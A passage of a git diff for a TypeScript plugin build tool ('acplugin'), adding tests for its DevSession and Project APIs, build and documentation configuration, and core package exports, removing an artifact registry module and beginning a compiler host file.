/** 模拟 Extension discover 阶段加载的本地 TypeScript descriptor。 */ - const descriptor = path.join(cwd, 'extensions/example.ts'); - await fs.mkdir(path.dirname(descriptor), { recursive: true }); - await fs.writeFile(descriptor, `export default { enabled: true };\n`); - /** 共享 Jiti 加载器及其实时监听路径集合。 */ - const loaded = await loadProjectConfig({ cwd, command: 'dev', mode: 'development' }); - - await loaded.loadTypeScriptModule(descriptor); - - expect(loaded.watchFiles).toContain(path.join(cwd, 'acplugin.config.ts')); - expect(loaded.watchFiles).toContain(descriptor); - expect(loaded.watchRoots).toContain(await fs.realpath(path.dirname(descriptor))); - }); -}); diff --git a/packages/acplugin/test/dev-session.test.ts b/packages/acplugin/test/dev-session.test.ts new file mode 100644 index 0000000..24e3e2b --- /dev/null +++ b/packages/acplugin/test/dev-session.test.ts @@ -0,0 +1,292 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { + defineExtension, + definePlatform, + type ManagedRolldownPlugin, + type SourceFileRef, +} from '@acplugin/core/kernel-sdk'; +import { createProject } from '../src/project.js'; + +/** DevSession 程序化测试统一清理的临时工程根。 */ +const roots: string[] = []; + +/** 配置 Module 与测试进程共享 Platform 的稳定全局键。 */ +const PLATFORM_KEY = Symbol.for('tokenroll.acplugin.dev-session-test-platform'); + +/** 配置 Module 与测试进程共享 Extension 的稳定全局键。 */ +const EXTENSION_KEY = Symbol.for('tokenroll.acplugin.dev-session-test-extension'); + +/** 在动态 rebuild 中建立 close 竞态的测试控制器。 */ +interface DevControl { + round: number; + readonly started: Promise; + start(): void; + readonly gate: Promise; + release(): void; +} + +afterEach(async () => { + Reflect.deleteProperty(globalThis, PLATFORM_KEY); + Reflect.deleteProperty(globalThis, EXTENSION_KEY); + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +/** @returns 可在第二轮 Platform package 阶段暂停的程序化工程。 */ +async function fixture(options: { readonly pauseSecond?: boolean; readonly extension?: unknown } = {}): Promise<{ readonly root: string; readonly control: DevControl }> { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-dev-session-')); + roots.push(root); + await fs.mkdir(path.join(root, 'src', 'commands'), { recursive: true }); + await fs.writeFile(path.join(root, 'src', 'commands', 'review.md'), [ + '---', 'description: Review changes.', '---', 'Review the initial change.', '', + ].join('\n')); + /** 第二轮进入 Platform package 阶段时通知测试。 */ + let notifyStarted!: () => void; + /** close() 发起后才允许第二轮完成。 */ + let releaseGate!: () => void; + const control: DevControl = { + round: 0, + started: new Promise((resolve) => { notifyStarted = resolve; }), + start: notifyStarted, + gate: new Promise((resolve) => { releaseGate = resolve; }), + release: releaseGate, + }; + Reflect.set(globalThis, PLATFORM_KEY, definePlatform({ + id: 'dev-api', + apiVersion: '1', + deliveryType: 'plugin', + createSession: () => ({ + async createPackage({ project }) { + control.round += 1; + if (control.round === 2 && options.pauseSecond !== false) { + control.start(); + await control.gate; + } + return { + documents: [], + assets: [], + compatibility: project.commands.map(command => ({ + subject: `command:${command.id}`, capability: 'component', level: 'native', reason: 'Native command.', + })), + metadata: ['name', 'version', 'description'].map(field => ({ + field, disposition: 'emitted', output: `manifest/${field}`, reason: 'Emitted metadata.', + })), + }; + }, + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + validatePackage: () => undefined, + }), + })); + if (options.extension !== undefined) + Reflect.set(globalThis, EXTENSION_KEY, options.extension); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` +const platform = globalThis[Symbol.for('tokenroll.acplugin.dev-session-test-platform')]; +const extension = globalThis[Symbol.for('tokenroll.acplugin.dev-session-test-extension')]; +export default { + name: 'dev-api', version: '1.0.0', description: 'Programmatic DevSession fixture.', platforms: [platform], + extensions: extension === undefined ? [] : [extension], +}; +`); + return { root, control }; +} + +/** @returns 下一次公开 build-complete,并在命中后自动取消订阅。 */ +function nextBuildComplete(session: Awaited['dev']>>) { + return new Promise>((resolve) => { + const unsubscribe = session.subscribe((event) => { + if (event.type === 'build-complete') { + unsubscribe(); + resolve(event); + } + }); + }); +} + +/** @returns start 中包含指定逻辑 identity 的同 sequence 完成事件。 */ +function nextBuildForChange( + session: Awaited['dev']>>, + identity: string, +) { + return new Promise>((resolve) => { + /** 只有明确匹配的 start sequence 才能完成当前等待。 */ + const matching = new Set(); + const unsubscribe = session.subscribe((event) => { + if (event.type === 'build-start' && event.changes.includes(identity)) + matching.add(event.sequence); + if (event.type === 'build-complete' && matching.has(event.sequence)) { + unsubscribe(); + resolve(event); + } + }); + }); +} + +describe('DevSession API', () => { + it('pairs an active rebuild with build-complete and one closed event while removing a failed listener', async () => { + const current = await fixture(); + const session = await createProject({ cwd: current.root }).dev(); + /** initial ready 只通过 resolve/current 表达,不发布不可订阅事件。 */ + const initial = session.current; + /** 抛错 listener 只能被调用一次,随后由 Core 自动移除。 */ + let failedListenerCalls = 0; + session.subscribe(() => { + failedListenerCalls += 1; + throw new Error('listener failure'); + }); + /** 正常 listener 记录完整公开事件序列。 */ + const events: import('@acplugin/core/kernel-author').DevSessionEvent[] = []; + session.subscribe(event => events.push(event)); + + await fs.writeFile(path.join(current.root, 'src', 'commands', 'review.md'), [ + '---', 'description: Review changes again.', '---', 'Review the rebuilt change.', '', + ].join('\n')); + await current.control.started; + /** 两次 close 必须共享同一个关闭任务且不抑制在途轮事件。 */ + const firstClose = session.close(); + const secondClose = session.close(); + expect(secondClose).toBe(firstClose); + current.control.release(); + await firstClose; + await session.closed; + + expect(events.map(event => event.type)).toEqual(['build-start', 'build-complete', 'closed']); + expect(events.map(event => event.sequence)).toEqual([1, 1, 1]); + expect(failedListenerCalls).toBe(1); + expect(session.current).not.toBe(initial); + expect(session.current).toMatchObject({ command: 'dev', success: true, committed: true }); + }, 10_000); + + it('keeps a failed-round external graph and reports its stable package identity on recovery', async () => { + /** 外部 package root 模拟 pnpm store/workspace package 的真实物理位置。 */ + const packageRoot = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-dev-external-package-')); + roots.push(packageRoot); + await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ + name: 'recovery-package', version: '1.0.0', type: 'module', exports: './index.js', license: 'MIT', + })); + await fs.writeFile(path.join(packageRoot, 'LICENSE'), 'Recovery package license.\n'); + const packageEntry = path.join(packageRoot, 'index.js'); + await fs.writeFile(packageEntry, 'export const value = "first";\n'); + /** 初始轮跳过 Compiler,失败轮才首次发现外部依赖。 */ + const recovery = { enabled: false, fail: false }; + const extension = defineExtension, { readonly entry: SourceFileRef }, { readonly entry: SourceFileRef }, Record>({ + id: 'recovery', + apiVersion: '1', + resourceRoots: ['recovery'], + createSession: () => ({ + async discover(context) { + return { entry: await context.sources.file(context.roots.recovery!, 'entry.ts') }; + }, + validate: (_context, discovered) => ({ state: discovered, subjects: [] }), + async build(context, validated) { + if (!recovery.enabled) + return { state: {} }; + await context.compiler.compile({ + id: 'recovery-package', + profile: 'portable-node', + entries: { main: { type: 'source', source: validated.entry } }, + }); + if (recovery.fail) + throw new Error('intentional failed round'); + return { state: {} }; + }, + contributors: [{ + platform: 'dev-api', + platformApiVersion: '1', + contribute: () => ({ compatibility: [] }), + }], + }), + }); + const current = await fixture({ pauseSecond: false, extension }); + await fs.mkdir(path.join(current.root, 'src', 'recovery'), { recursive: true }); + await fs.writeFile(path.join(current.root, 'src', 'recovery', 'entry.ts'), 'export { value } from "recovery-package";\n'); + await fs.mkdir(path.join(current.root, 'node_modules'), { recursive: true }); + await fs.symlink(packageRoot, path.join(current.root, 'node_modules', 'recovery-package'), 'dir'); + const session = await createProject({ cwd: current.root }).dev(); + /** 下一轮启用 Compiler 并在依赖图已登记后制造业务失败。 */ + recovery.enabled = true; + recovery.fail = true; + const failed = nextBuildComplete(session); + await fs.writeFile(path.join(current.root, 'src', 'commands', 'review.md'), [ + '---', 'description: Trigger failed discovery.', '---', 'Trigger the failed graph.', '', + ].join('\n')); + expect((await failed).report.success).toBe(false); + /** 只有失败轮 watch graph 被保留时,修改工程外物理文件才会触发恢复。 */ + recovery.fail = false; + const packageIdentity = 'package:recovery-package@1.0.0/index.js'; + const recovered = nextBuildForChange(session, packageIdentity); + await fs.writeFile(packageEntry, 'export const value = "second";\n'); + const recoveredEvent = await recovered; + expect(recoveredEvent.report.success).toBe(true); + expect(recoveredEvent.changes).toContain(packageIdentity); + expect(recoveredEvent.changes.some(change => change.includes('..') || change.includes(packageRoot))).toBe(false); + await session.close(); + }, 15_000); + + it('rebuilds once when an authorized pending managed watch file is created', async () => { + /** pending path 在 initial compile 时不存在,但位于 Extension 授权 source root。 */ + const pendingRoot = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-dev-pending-')); + roots.push(pendingRoot); + const pending = path.join(pendingRoot, 'src/pending/future.config.ts'); + const plugin: ManagedRolldownPlugin = { + name: 'dev-pending-watch', + buildStart() { this.addWatchFile(pending); }, + }; + const extension = defineExtension, { readonly entry: SourceFileRef }, { readonly entry: SourceFileRef }, Record>({ + id: 'pending-watch', + apiVersion: '1', + resourceRoots: ['pending'], + createSession: () => ({ + discover: async context => ({ entry: await context.sources.file(context.roots.pending!, 'entry.ts') }), + validate: (_context, state) => ({ state, subjects: [] }), + async build(context, state) { + await context.compiler.compile({ + id: 'pending-watch', + profile: 'managed-rolldown', + entries: { main: { type: 'source', source: state.entry } }, + options: { + inputOptions: { plugins: [plugin] }, + outputs: [{ id: 'esm', options: { format: 'es' } }], + policy: { licenses: 'ignore' }, + }, + }); + return { state: {} }; + }, + contributors: [{ + platform: 'dev-api', platformApiVersion: '1', contribute: () => ({ compatibility: [] }), + }], + }), + }); + /** 实际 Project 必须使用与 pending closure 相同的物理根。 */ + await fs.mkdir(path.join(pendingRoot, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(pendingRoot, 'src/pending'), { recursive: true }); + await fs.writeFile(path.join(pendingRoot, 'src/commands/review.md'), '---\ndescription: Review.\n---\nReview.\n'); + await fs.writeFile(path.join(pendingRoot, 'src/pending/entry.ts'), 'export const value = true;\n'); + await fs.writeFile(path.join(pendingRoot, 'acplugin.config.ts'), ` +const platform = globalThis[Symbol.for('tokenroll.acplugin.dev-session-test-platform')]; +const extension = globalThis[Symbol.for('tokenroll.acplugin.dev-session-test-extension')]; +export default { + name: 'dev-api', version: '1.0.0', description: 'Pending watch fixture.', + platforms: [platform], extensions: [extension], +}; +`); + /** Platform 不暂停第二轮,Extension 通过全局 identity 进入每轮 fresh config。 */ + await fixture({ pauseSecond: false, extension }); + /** fixture() 创建的其他工程仅用于取得同一测试 Platform;实际 Session 使用 pendingRoot。 */ + const session = await createProject({ cwd: pendingRoot }).dev(); + const identity = 'src/pending/future.config.ts'; + const events: import('@acplugin/core/kernel-author').DevSessionEvent[] = []; + session.subscribe(event => events.push(event)); + const rebuilt = nextBuildForChange(session, identity); + await fs.writeFile(pending, 'export default true;\n'); + const result = await rebuilt; + + expect(result.report.success).toBe(true); + expect(result.changes).toContain(identity); + /** 等待 debounce 窗口,证明 duplicate physical subscriptions 没有产生补偿轮。 */ + await new Promise(resolve => setTimeout(resolve, 250)); + expect(events.filter(event => event.type === 'build-start' && event.changes.includes(identity))).toHaveLength(1); + await session.close(); + }, 10_000); +}); diff --git a/packages/acplugin/test/project.test.ts b/packages/acplugin/test/project.test.ts new file mode 100644 index 0000000..0093d13 --- /dev/null +++ b/packages/acplugin/test/project.test.ts @@ -0,0 +1,115 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { definePlatform } from '@acplugin/core/kernel-sdk'; +import { createProject, ProjectConfigError, runProject } from '../src/project.js'; + +/** 临时工程由 afterEach 统一删除。 */ +const roots: string[] = []; + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +/** 配置 Module Host externalize 的真实测试 Platform 模块。 */ +async function fixture() { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-project-api-')); + roots.push(root); + await fs.mkdir(path.join(root, 'src', 'commands'), { recursive: true }); + await fs.writeFile(path.join(root, 'src', 'commands', 'review.md'), [ + '---', 'description: Review changes.', '---', 'Review changes.', '', + ].join('\n')); + /** 共享品牌化 Platform 通过测试进程全局传入配置 Module graph。 */ + const key = Symbol.for('tokenroll.acplugin.project-api-test-platform'); + Reflect.set(globalThis, key, definePlatform({ + id: 'project-api', + apiVersion: '1', + deliveryType: 'plugin', + createSession: () => ({ + createPackage: ({ project }) => ({ + documents: [], assets: [], + compatibility: project.commands.map(command => ({ + subject: `command:${command.id}`, capability: 'component', level: 'native', reason: 'Native command.', + })), + metadata: ['name', 'version', 'description'].map(field => ({ + field, disposition: 'emitted', output: `manifest/${field}`, reason: 'Emitted metadata.', + })), + }), + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + validatePackage: () => undefined, + }), + })); + /** Platform identity 由 config 的本地 TypeScript closure 读取。 */ + await fs.writeFile(path.join(root, 'platform.ts'), ` +export const platform = globalThis[Symbol.for('tokenroll.acplugin.project-api-test-platform')]; +`); + await fs.writeFile(path.join(root, 'value.ts'), `export const version = '1.0.0';\n`); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` +import { platform } from './platform.ts'; +import { version } from './value.ts'; +export default ({ command }) => ({ + name: 'project-api', version, description: command, platforms: [platform], public: false, +}); +`); + return root; +} + +describe('Project API', () => { + it('uses the same one-shot implementation for Project.run and runProject and fresh-loads config', async () => { + const root = await fixture(); + const project = createProject({ cwd: root }); + const first = await project.run({ command: 'validate' }); + const convenience = await runProject({ cwd: root, command: 'validate' }); + expect(first).toEqual(convenience); + expect(first.success).toBe(true); + expect(first.committed).toBe(false); + expect(first.command).toBe('validate'); + + await fs.writeFile(path.join(root, 'value.ts'), `export const version = '2.0.0';\n`); + const changed = await project.run({ command: 'validate' }); + expect(changed.framework).toEqual(first.framework); + expect(changed.success).toBe(true); + }); + + it('keeps config location/evaluation/schema failures outside BuildReport', async () => { + const root = await fixture(); + await fs.rm(path.join(root, 'acplugin.config.ts')); + await expect(runProject({ cwd: root, command: 'validate' })).rejects.toSatisfy((error: unknown) => + error instanceof ProjectConfigError && error.diagnostics.some(item => item.code === 'CONFIG_LOAD_FAILED')); + await expect(runProject({ cwd: root, configFile: '../escape.ts', command: 'validate' })).rejects.toBeInstanceOf(ProjectConfigError); + + await fs.writeFile(path.join(root, 'acplugin.config.ts'), 'throw new Error("secret=/private/path");\n'); + await expect(runProject({ cwd: root, command: 'validate' })).rejects.toSatisfy((error: unknown) => + error instanceof ProjectConfigError + && error.diagnostics.some(item => item.code === 'CONFIG_EVALUATION_FAILED') + && !error.diagnostics.some(item => item.message.includes('/private/path'))); + }); + + it('rejects duplicate/unknown Platform subsets before Integration setup', async () => { + const root = await fixture(); + const duplicate = await runProject({ cwd: root, command: 'validate', platforms: ['project-api', 'project-api'] }); + const unknown = await runProject({ cwd: root, command: 'validate', platforms: ['missing'] }); + expect(duplicate.success).toBe(false); + expect(unknown.success).toBe(false); + expect(duplicate.diagnostics).toContainEqual(expect.objectContaining({ code: 'PLATFORM_SELECTION_INVALID' })); + expect(unknown.diagnostics).toContainEqual(expect.objectContaining({ code: 'PLATFORM_SELECTION_INVALID' })); + }); + + it('forces validate and inspect to be read-only while honoring build commit=false', async () => { + const root = await fixture(); + const output = path.join(root, 'dist'); + + const validated = await runProject({ cwd: root, command: 'validate', commit: true }); + const inspected = await runProject({ cwd: root, command: 'inspect', commit: true }); + const dryBuild = await runProject({ cwd: root, command: 'build', commit: false }); + expect(validated).toMatchObject({ command: 'validate', success: true, committed: false }); + expect(inspected).toMatchObject({ command: 'inspect', success: true, committed: false }); + expect(dryBuild).toMatchObject({ command: 'build', success: true, committed: false }); + await expect(fs.access(output)).rejects.toThrow(); + + const committed = await runProject({ cwd: root, command: 'build' }); + expect(committed).toMatchObject({ command: 'build', success: true, committed: true }); + await fs.access(path.join(output, 'project-api', 'plugin')); + }); +}); diff --git a/packages/acplugin/test/sdk-boundary.test.ts b/packages/acplugin/test/sdk-boundary.test.ts new file mode 100644 index 0000000..0c2d8ea --- /dev/null +++ b/packages/acplugin/test/sdk-boundary.test.ts @@ -0,0 +1,29 @@ +import { readFile } from 'node:fs/promises'; +import { fileURLToPath } from 'node:url'; +import { describe, expect, it } from 'vitest'; + +/** 当前主包源码根。 */ +const sourceRoot = fileURLToPath(new URL('../src/', import.meta.url)); + +describe('author and SDK package boundary', () => { + it('keeps integration factories out of the root author facade', async () => { + /** root 源码用于精确断言公开边界。 */ + const root = await readFile(new URL('index.ts', new URL('../src/', import.meta.url)), 'utf8'); + + expect(root).not.toMatch(/\bdefinePlatform\b/); + expect(root).not.toMatch(/\bdefineExtension\b/); + expect(root).not.toMatch(/\bPlatformSession\b/); + expect(root).not.toMatch(/\bExtensionSession\b/); + expect(root).not.toMatch(/\bDeliveryUnit\b/); + expect(root).not.toMatch(/\bArtifactInput\b/); + }); + + it('uses the single private Core SDK entry from the public sdk subpath', async () => { + /** sdk 源码必须保持单一 re-export,以便 root/SDK/CLI 共享品牌实现。 */ + const sdk = await readFile(`${sourceRoot}sdk.ts`, 'utf8'); + + expect(sdk).toContain('export * from \'@acplugin/core/kernel-sdk\''); + expect(sdk).not.toContain('@tokenroll/acplugin-platform-'); + expect(sdk).not.toContain('@tokenroll/acplugin-extension-'); + }); +}); diff --git a/packages/acplugin/tsconfig.typedoc.json b/packages/acplugin/tsconfig.typedoc.json new file mode 100644 index 0000000..0014567 --- /dev/null +++ b/packages/acplugin/tsconfig.typedoc.json @@ -0,0 +1,5 @@ +{ + "extends": "./tsconfig.json", + "include": ["src/**/*.ts", "typedoc-entry.ts"], + "exclude": ["test/**/*.ts"] +} diff --git a/packages/acplugin/tsdown.config.ts b/packages/acplugin/tsdown.config.ts index e9b281b..09dd8f4 100644 --- a/packages/acplugin/tsdown.config.ts +++ b/packages/acplugin/tsdown.config.ts @@ -5,6 +5,7 @@ import { fileURLToPath } from 'node:url'; export default defineConfig({ entry: { index: fileURLToPath(new URL('./src/index.ts', import.meta.url)), + sdk: fileURLToPath(new URL('./src/sdk.ts', import.meta.url)), cli: fileURLToPath(new URL('./src/cli.ts', import.meta.url)), }, format: ['esm'], @@ -16,10 +17,6 @@ export default defineConfig({ publint: true, attw: { profile: 'esm-only', level: 'error' }, deps: { - alwaysBundle: [ - '@acplugin/core', - '@tokenroll/acplugin-platform-claude-code', - '@tokenroll/acplugin-extension-mcp', - ], + alwaysBundle: ['@acplugin/core'], }, }); diff --git a/packages/acplugin/typedoc-entry.ts b/packages/acplugin/typedoc-entry.ts new file mode 100644 index 0000000..2a0d923 --- /dev/null +++ b/packages/acplugin/typedoc-entry.ts @@ -0,0 +1,42 @@ +/** + * TypeDoc-only composite of the public author and Integration SDK entry points. + * This file is excluded from package builds and tarballs. + */ +export * from './src/sdk.js'; +export { + ACPLUGIN_VERSION, + createProject, + defineConfig, + initializeProject, + nodeRuntimeArtifactPath, + nodeRuntimeLicensesArtifactPath, + ProjectConfigError, + runProject, + serializeBuildReport, +} from './src/index.js'; +export type { + BuildConfig, + BuildReport, + ComponentReport, + CreateProjectOptions, + DevSession, + DevSessionEvent, + ExtensionReport, + InitOptions, + InitPlatformId, + InitResult, + NodeRuntimeConfig, + NodeRuntimeEntryInput, + PackageAssetReport, + PackageUnitReport, + PlatformReport, + Project, + ProjectDevOptions, + ProjectRunOptions, + PublicConfig, + PublicCopyRule, + RunProjectOptions, + RuntimeReport, + UserConfig, + UserConfigExport, +} from './src/index.js'; diff --git a/packages/acplugin/typedoc.json b/packages/acplugin/typedoc.json new file mode 100644 index 0000000..dd560d3 --- /dev/null +++ b/packages/acplugin/typedoc.json @@ -0,0 +1,5 @@ +{ + "$schema": "https://typedoc.org/schema.json", + "tsconfig": "tsconfig.typedoc.json", + "entryPoints": ["typedoc-entry.ts"] +} diff --git a/packages/core/package.json b/packages/core/package.json index fb66d88..a0df7f0 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -10,6 +10,14 @@ ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" + }, + "./kernel-sdk": { + "types": "./dist/kernel-sdk.d.mts", + "import": "./dist/kernel-sdk.mjs" + }, + "./kernel-author": { + "types": "./dist/kernel-author.d.mts", + "import": "./dist/kernel-author.mjs" } }, "scripts": { @@ -18,6 +26,9 @@ "typecheck": "tsc -p tsconfig.json" }, "dependencies": { + "@iarna/toml": "^2.2.5", + "chokidar": "^5.0.0", + "rolldown": "catalog:", "semver": "^7.8.5", "spdx-expression-parse": "^5.0.0", "yaml": "^2.9.0" diff --git a/packages/core/src/artifacts.ts b/packages/core/src/artifacts.ts deleted file mode 100644 index cee0154..0000000 --- a/packages/core/src/artifacts.ts +++ /dev/null @@ -1,227 +0,0 @@ -import { createHash } from 'node:crypto'; -import { createReadStream } from 'node:fs'; -import { promises as fs } from 'node:fs'; -import path from 'node:path'; -import { OutputPathRegistry } from './output-paths.js'; -import { compareCodeUnits } from './serialization.js'; -import type { Artifact, ArtifactInput, ArtifactMode } from './types.js'; - -/** 单个精确文件来源及其必须保持无符号链接的信任根。 */ -export interface ArtifactSourceFileAuthorization { - readonly path: string; - readonly root: string; -} - -/** 一个 Artifact owner 可以读取的独占目录与已扫描精确文件。 */ -export interface ArtifactSourcePolicy { - readonly roots?: readonly string[]; - readonly files?: readonly ArtifactSourceFileAuthorization[]; -} - -/** 按完整 owner 名称隔离的 Artifact 文件来源授权表。 */ -export type ArtifactSourcePolicies = ReadonlyMap; - -/** - * 判断候选路径是否位于指定根目录内,或与根目录本身相同。 - * - * @param root 已解析为绝对路径的可信根目录。 - * @param candidate 需要验证的绝对路径。 - * @returns 候选路径没有通过 `..` 或其他盘符逃逸时返回 true。 - */ -function isInside(root: string, candidate: string): boolean { - // 使用 path.relative 而不是字符串前缀,避免 `/project-a` 被误判为 `/project` 的子目录。 - const relative = path.relative(root, candidate); - return relative === '' || (!path.isAbsolute(relative) && relative !== '..' && !relative.startsWith(`..${path.sep}`)); -} - -/** - * 以流式方式计算文件的 SHA-256 和字节数,避免把大型公共资源整体读入内存。 - * - * @param file 需要读取的文件绝对路径。 - * @returns 文件内容摘要与实际字节数。 - */ -export async function hashFile(file: string): Promise<{ sha256: string; size: number }> { - /** 在读取文件的同时增量更新的 SHA-256 计算器。 */ - const hash = createHash('sha256'); - /** 已从文件流接收的累计字节数。 */ - let size = 0; - await new Promise((resolve, reject) => { - // 流错误必须传递给调用方,否则可能把不完整读取误认为有效 Artifact。 - const stream = createReadStream(file); - stream.on('data', (chunk) => { - size += typeof chunk === 'string' ? Buffer.byteLength(chunk) : chunk.length; - hash.update(chunk); - }); - stream.on('error', reject); - stream.on('end', resolve); - }); - return { sha256: hash.digest('hex'), size }; -} - -/** - * 收集一次构建产生的全部 Artifact,并维护路径唯一性和来源可信边界。 - * - * Graph 只接受内存快照或可信源目录中的普通文件;加入后的元数据不可变, - * 从而为后续事务写入和构建报告提供确定输入。 - */ -export class ArtifactRegistry { - /** 以规范化目标路径索引的不可变 Artifact。 */ - readonly #artifacts = new Map(); - /** 固定生命周期按 owner 隔离的精确来源授权。 */ - readonly #sourcePolicies: ArtifactSourcePolicies; - /** 与 Document 共享或由当前 Registry 独占的输出路径占用表。 */ - readonly #paths: OutputPathRegistry; - - /** - * 创建单次构建使用的 Artifact 图。 - * - * @param sourcePolicies 固定生命周期按 owner 隔离的来源授权表。 - * @param paths 可选的共享路径占用表,用于同时检查 Document 与 Artifact。 - */ - constructor(sourcePolicies: ArtifactSourcePolicies, paths: OutputPathRegistry = new OutputPathRegistry()) { - /** 复制并解析全部路径,阻止调用方在构建期间替换授权 Map 或数组。 */ - const policies = new Map(); - for (const [owner, policy] of sourcePolicies) { - policies.set(owner, Object.freeze({ - roots: Object.freeze((policy.roots ?? []).map(root => path.resolve(root))), - files: Object.freeze((policy.files ?? []).map(file => Object.freeze({ - path: path.resolve(file.path), - root: path.resolve(file.root), - }))), - })); - } - this.#sourcePolicies = policies; - this.#paths = paths; - } - - /** - * 为当前 owner 和精确文件来源选择最具体的信任根。 - * - * @param owner Artifact 的固定所有者。 - * @param sourcePath 已解析的绝对文件路径。 - * @returns 可用于逐层 lstat 的授权根;没有授权时返回 undefined。 - */ - #allowedRoot(owner: string, sourcePath: string): string | undefined { - /** 当前 owner 独占且不能回退到其他对象授权的来源策略。 */ - const policy = this.#sourcePolicies.get(owner); - if (!policy) - return undefined; - /** 目录授权和精确扫描文件授权共同产生的候选信任根。 */ - const roots = [ - ...(policy.roots ?? []).filter(root => isInside(root, sourcePath)), - ...(policy.files ?? []) - .filter(file => file.path === sourcePath && isInside(file.root, sourcePath)) - .map(file => file.root), - ]; - return roots.sort((left, right) => right.length - left.length)[0]; - } - - /** - * 返回按目标路径稳定排序的 Artifact 快照。 - * - * @returns 不暴露内部 Map 顺序和可变性的只读列表。 - */ - get artifacts(): readonly Artifact[] { - return Object.freeze([...this.#artifacts.values()].sort((a, b) => compareCodeUnits(a.path, b.path))); - } - - /** - * 验证并加入一个构建产物。 - * - * @param owner 负责生成该产物的 Platform 或 Extension 标识。 - * @param input 尚未校验的 Artifact 描述。 - * @returns 已冻结且带内容摘要的 Artifact。 - * @throws 目标路径冲突、权限模式非法或文件来源越过可信根目录时抛出异常。 - */ - async add(owner: string, input: ArtifactInput): Promise { - /** 最终写入权限只允许普通文件与可执行文件两种可移植模式。 */ - let mode: ArtifactMode | undefined = input.mode; - if (mode !== undefined && mode !== 0o644 && mode !== 0o755) - throw new Error(`Unsupported Artifact mode for ${input.path}.`); - /** 经过目录逃逸与 Unicode 规范化检查的最终目标路径。 */ - const reservation = this.#paths.reserve(owner, 'artifact', input.path); - /** 与共享路径占用记录一致的规范 Artifact 路径。 */ - const artifactPath = reservation.path; - - try { - /** 在加入 Registry 时确定的内容字节数。 */ - let size: number; - /** 在加入 Registry 时确定的内容摘要,用于报告和事务校验。 */ - let sha256: string; - /** 与摘要对应的不可变内存快照或已验证文件来源。 */ - let source: Artifact['source']; - if (input.source.type === 'bytes') { - /** 复制后的 Registry 内部字节快照。 */ - const value = Uint8Array.from(input.source.value); - mode ??= 0o644; - size = value.byteLength; - sha256 = createHash('sha256').update(value).digest('hex'); - source = Object.freeze({ - type: 'bytes' as const, - /** 每次返回副本,阻止调用方通过下标修改 Registry 内部快照。 */ - get value() { return Uint8Array.from(value); }, - }); - } else { - /** 解析后的文件来源路径,后续所有安全判断都基于该绝对路径。 */ - const sourcePath = path.resolve(input.source.path); - /** 最具体的可信根用于检查根目录以下的每一层符号链接。 */ - const allowedRoot = this.#allowedRoot(owner, sourcePath); - if (!allowedRoot) - throw new Error(`Artifact source is outside allowed roots for owner "${owner}": ${input.source.path}`); - /** 从可信根到文件的每一级路径片段。 */ - const segments = path.relative(allowedRoot, sourcePath).split(path.sep).filter(Boolean); - /** 当前执行 lstat 且不得为符号链接的来源路径。 */ - let current = allowedRoot; - for (const segment of segments) { - current = path.join(current, segment); - /** 当前层级的文件类型,用于阻断信任根以下的符号链接跳转。 */ - const currentStat = await fs.lstat(current); - if (currentStat.isSymbolicLink()) - throw new Error(`Artifact source must not contain symbolic links: ${input.source.path}`); - } - /** 最终来源必须是普通文件而不是目录或特殊设备。 */ - const stat = await fs.lstat(sourcePath); - if (!stat.isFile()) - throw new Error(`Artifact source must be a regular non-symlink file: ${input.source.path}`); - mode ??= stat.mode & 0o111 ? 0o755 : 0o644; - ({ size, sha256 } = await hashFile(sourcePath)); - source = Object.freeze({ type: 'file', path: sourcePath }); - } - - /** 完成路径、来源和摘要验证后对外暴露的最终产物记录。 */ - const artifact: Artifact = Object.freeze({ - path: artifactPath, - source, - owner, - mode, - size, - sha256, - }); - this.#artifacts.set(artifactPath, artifact); - return artifact; - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - // 内容或来源验证失败不能永久占用路径,便于调用方修正后在同一 Registry 重试。 - this.#paths.release(artifactPath); - throw error; - } - } -} - -/** - * 创建内存型 Artifact 输入,常用于生成清单、配置和 Markdown 文件。 - * - * @param pathname 产物相对于目标根目录的 POSIX 路径。 - * @param content UTF-8 文本或调用方提供的原始字节。 - * @param mode 可选的目标文件权限模式。 - * @returns 可交给 ArtifactRegistry 校验和快照化的输入。 - */ -export function bytesArtifact(pathname: string, content: string | Uint8Array, mode?: ArtifactMode): ArtifactInput { - /** 统一为字节表示;ArtifactRegistry.add 会再次复制以建立所有权边界。 */ - const value = typeof content === 'string' ? new TextEncoder().encode(content) : content; - /** 尚未进入 Graph、因此尚未带摘要信息的不可变内存产物输入。 */ - return { - path: pathname, - source: { type: 'bytes', value }, - ...(mode === undefined ? {} : { mode }), - }; -} diff --git a/packages/core/src/compiler/compiler-host.ts b/packages/core/src/compiler/compiler-host.ts new file mode 100644 index 0000000..c59f9f6 --- /dev/null +++ b/packages/core/src/compiler/compiler-host.ts @@ -0,0 +1,771 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { + CompileJob, + CompileOutputFile, + CompileProfile, + CompileResult, + CompilerService, + ManagedRolldownCompileOptions, + ManagedRolldownPlugin, +} from '../kernel-types.js'; +import { AssetRegistry } from '../kernel/asset-registry.js'; +import { compareCodePoints, isInsidePath, safeRelativePath } from '../kernel/path-policy.js'; +import { SourceRegistry } from '../kernel/source-registry.js'; +import { WatchRegistry, type WatchObservation } from '../kernel/watch-registry.js'; +import { WorkDirectoryRegistry } from '../kernel/work-directories.js'; +import { + auditManagedModules, + auditManagedOutput, + managedModuleWatchObservations, + managedModuleReports, + type AuditedModule, + type EngineModuleSnapshot, + type 